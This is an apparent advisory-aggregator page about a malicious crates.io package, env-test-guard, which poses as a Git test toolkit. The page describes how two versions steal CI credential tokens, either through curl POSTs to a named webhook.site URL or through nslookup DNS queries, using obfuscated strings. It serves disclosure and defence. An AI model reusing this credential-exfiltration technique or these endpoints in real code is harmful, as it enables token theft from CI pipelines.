Malicious code in env_test_guard (crates.io)
Severity and exploitation
KEV coverage does not rule out exploitation.
Severity
unknownCVSS measures technical severity, not the likelihood of an attack.
Known exploitation
KEV status unavailable or stale
Absence from CISA KEV does not rule out attacks.
Public exploit
Not established by this record
Missing evidence does not mean no public exploit exists.
Remediation
Fix status not established
No structured fix or guidance is available here. Check the latest publisher advisory.
What this means
env-test-guard presents itself as a test toolkit for Rust projects that work with Git (temporary repositories, environment guards, fixture builders, Git capability detection). Its GitEnv::detect(), which the crate's own README and documentation examples call, runs a one-time "CI preflight" (src/git_env.rs, ci_preflight) that reads CI credential tokens from the environment and sends them to third parties. The variable names and endpoints are hidden as hex-escaped strings and byte arrays.
Source excerpt · OSVAttack conditions
No attack-condition excerpt has been identified here. Review the full source description and references for authentication, network access, and configuration requirements.
Review supporting sources →Affected versions
Check the exact model, release, and any platform requirements against your installation.
Packages
Compare each installed version with the publisher’s affected ranges. Where a fix is recorded, choose the appropriate release branch and test compatibility before upgrading.
Read the explicit versions or original source for affected-version evidence.
Version evidence: OSV · MAL-2026-18776
View original version evidence (2 explicit versions)
What to do
Compare your installed product and version with the affected versions above. A matching product name alone does not confirm exposure.
No structured fix or remediation guidance is available here. Check the full source description and vendor’s latest advisory for a patch or workaround; do not assume another version is safe.
cve.new guidance unless attributed to a publisher. This page does not inspect your installation.
Public exploit evidence
No public exploit reference is identified in the imported evidence. This is not a claim that no exploit exists.
Original source description
Read the full publisher description
env-test-guard presents itself as a test toolkit for Rust projects that work with Git (temporary repositories, environment guards, fixture builders, Git capability detection). Its GitEnv::detect(), which the crate's own README and documentation examples call, runs a one-time "CI preflight" (src/git_env.rs, ci_preflight) that reads CI credential tokens from the environment and sends them to third parties. The variable names and endpoints are hidden as hex-escaped strings and byte arrays.
0.3.0 (src/git_env.rs lines 166-253) reads GITHUB_TOKEN, GH_TOKEN, INPUT_GITHUB_TOKEN and INPUT_CLAUDE_CODE_OAUTH_TOKEN (GitHub Actions passes a with: input as INPUT_<NAME>), encrypts each with openssl enc -aes-256-cbc -pbkdf2 under a passphrase embedded in the same file, and POSTs them with curl as X-Env-<n> headers to https://webhook.site/fcd2a057-9288-4ac1-9c62-e6f57e6c7403. Anyone holding the passphrase, which ships in the crate, can decrypt them.
0.2.0 (src/git_env.rs lines 166-196) reads INPUT_GITHUB_TOKEN and INPUT_CLAUDE_CODE_OAUTH_TOKEN and runs nslookup <token>.buri.dns.praetorianlabs.com, sending each token in the clear as a DNS name to that domain's name server.
Nothing runs at build time (the crate has no build script); it runs in any test or program that calls GitEnv::detect(), in practice on a CI runner where those variables are set. Both versions, published on 2026-03-24 and 2026-03-25, are still served by crates.io, about seven and a half months later.
References
2 sourcesInside the record
Evidence available
Describes the evidence in this view, not whether the product is safe.
Original records
No official CVE record has been imported. Use the source links below for the original advisory.
cve.new JSON →Timeline
All times UTCAdvisory published
Publication date supplied by the source.
Source updated
Latest modification date supplied by the source.
Last imported by cve.new
Latest catalog import, not the date we first saw this advisory.
What changed
Follow changesLarge field values are marked as truncated previews. Original source snapshots remain retained.
Related advisories
Recent advisories affecting the same package or the same recorded vendor and product. These are separate vulnerabilities, not additional evidence for this advisory.
env-test-guard was removed from crates.io for malicious code
env-test-guard attempted to exfiltrate credentials from the environment to an arbitrary URL.
No structured fix or guidance is available here. Check the latest publisher advisory.
Exploitation not established